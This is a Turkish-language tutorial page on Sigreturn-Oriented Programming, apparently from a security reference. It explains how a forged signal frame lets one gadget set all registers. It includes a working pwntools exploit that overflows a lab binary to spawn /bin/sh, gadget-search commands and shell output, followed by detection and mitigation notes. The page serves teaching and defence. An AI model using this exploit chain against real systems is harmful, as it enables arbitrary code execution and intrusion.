Sigreturn-Oriented Programming (SROP)¶
Stack'te sahte bir signal frame forge et ve
rt_sigreturnçağır ki kernel her register'ı attacker data'sından yeniden yüklesin ve tek bir gadget'tan arbitrary bir syscall çalıştırsın.
Mechanism¶
Invariant
Bir UNIX signal teslim edildiğinde, kernel user stack'e bir signal frame (struct rt_sigframe, bir ucontext/sigcontext içerir) push'lar. Bu frame, tüm saved CPU context'ini tutar: her general-purpose register artı rip, rsp ve flag'ler. Handler'dan return etmek için, kernel'in sağladığı trampoline rt_sigreturn syscall'unu (x86-64'te numara 15) çağırır; bu da mevcut rsp'deki frame ne diyorsa tüm register setini körü körüne ondan geri yükler ve execution'a devam eder.
Kernel frame'i authenticate etmez — rsp'deki byte'ları kendisinin yazdığına güvenir. SROP bunu suistimal eder: bir attacker stack'e forge edilmiş bir sigcontext yazabilir ve rax = 15 ile bir syscall instruction'ına ulaşabilirse, tek bir gadget tüm register'ları (rdi, rsi, rdx, rax, rip, rsp, ...) tek adımda yükler. Bu, geleneksel pop rdi; ret tarzı gadget'lar kıt olduğunda kullanışlı olan, tek bir gadget'ı tamamen genel bir "her register'ı set et" primitive'ine çevirir. Frame layout'u stabil bir kernel ABI olduğundan ve gadget adresi (örneğin bir static binary'de veya vDSO'da) sabitlenebildiğinden, SROP taşınabilirdir ve ASLR'yi atlatabilir (GOT/PLT/library bağımlılığı yok) — Bosman & Bos, Framing Signals — A Return to Portable Shellcode (IEEE S&P 2014).
Walkthrough¶
x86-64 ucontext, GPR'leri sabit offset'lerde saklar. pwntools'un SigreturnFrame'i tam layout'u soyutlar. SROP ile minimal bir execve("/bin/sh", 0, 0):
from pwn import *
context.arch = 'amd64'
elf = context.binary = ELF('./vuln') # static binary with a syscall;ret gadget
p = process()
# Prerequisites for SROP:
# 1. control of the stack (e.g. stack-buffer-overflow)
# 2. rax = 15 at a 'syscall' (a sigreturn trigger)
# 3. a 'syscall' (or 'syscall; ret') gadget at a known address
# 4. a known address holding the string "/bin/sh"
syscall_ret = elf.symbols['syscall_gadget'] # address of: syscall ; ret
binsh = elf.symbols['binsh'] # writable mem we filled with "/bin/sh\0"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh # path
frame.rsi = 0 # argv
frame.rdx = 0 # envp
frame.rip = syscall_ret # what to run AFTER sigreturn restores context
# frame.rsp can point to a sane stack; rip will be the execve syscall
# Stage 1: pivot rax to 15 and hit a syscall to trigger rt_sigreturn,
# Stage 2: the kernel restores our forged frame -> execve("/bin/sh").
payload = b'A' * offset # fill to saved return address
payload += p64(pop_rax_15) # gadget: pop rax ; ret (rax = 15)
payload += p64(syscall_ret) # syscall -> rt_sigreturn consumes frame below
payload += bytes(frame) # the forged sigcontext
p.sendline(payload)
p.interactive()
Beklenen sonuç — rt_sigreturn forge edilmiş context'i geri yükler, sonra rip syscall'u execve'yi çalıştırır:
[+] Starting local process './vuln': pid 41207
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
SigreturnFrame, rsp/rip dahil tüm register'ları set eder, dolayısıyla temiz şekilde devam etmek için onları geçerli belleğe yöneltmelisin (pwntools uyarısı: "in order to continue after using a sigreturn frame, the stack pointer must be set accordingly").
Sigreturn trigger'ını bulma ve frame'i inceleme
# Find a 'syscall; ret' or a constant-15 path:
$ ROPgadget --binary ./vuln | grep -E ': syscall$|pop rax ; ret'
0x0000000000401234 : pop rax ; ret
0x0000000000401016 : syscall ; ret
# Inspect the frame pwntools builds (offsets are the kernel ABI):
$ python3 -c "from pwn import *; context.arch='amd64'; \
f=SigreturnFrame(); f.rax=59; print(hexdump(bytes(f))[:200])"
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
...
uc_mcontext.rax'te durur; trampoline syscall'u rax = 15 (__NR_rt_sigreturn) ile çalıştırır.
Detection¶
- Gerçek, kernel'in kurduğu bir signal-trampoline return address'inden kaynaklanmayan
rt_sigreturn(syscall 15) çağrıları anormaldir; seccomp filter'ları ve EDR, signal handling dışında çağrılanrt_sigreturn'ü işaretleyebilir. - syscall-tracing/
strace'te aniden tam bir register reload'u süren stabil bir RSP (birsigcontextlayout'una uyan büyük stack içeriği) bir imzadır.
Mitigation¶
- seccomp-BPF,
rt_sigreturn/execve'yi reddedebilir veya kısıtlayabilir, zinciri kırar; modern kernel'ler ayrıcaSECCOMP_RET_KILLpolitikalarını da destekler. - Linux, process başına rastgele bir cookie koyabilir /
sigreturn'ü kısıtlayabilir (örneğin signal-frame cookie'leri) ki forge edilmiş bir frame validation'ı geçemesin. - Genel stack-corruption savunmaları ilk pivot için çıtayı yükseltir: stack canary'leri, DEP/NX ve ASLR — gerçi SROP'un kendisi ASLR'yi tolere edecek şekilde tasarlanmıştır.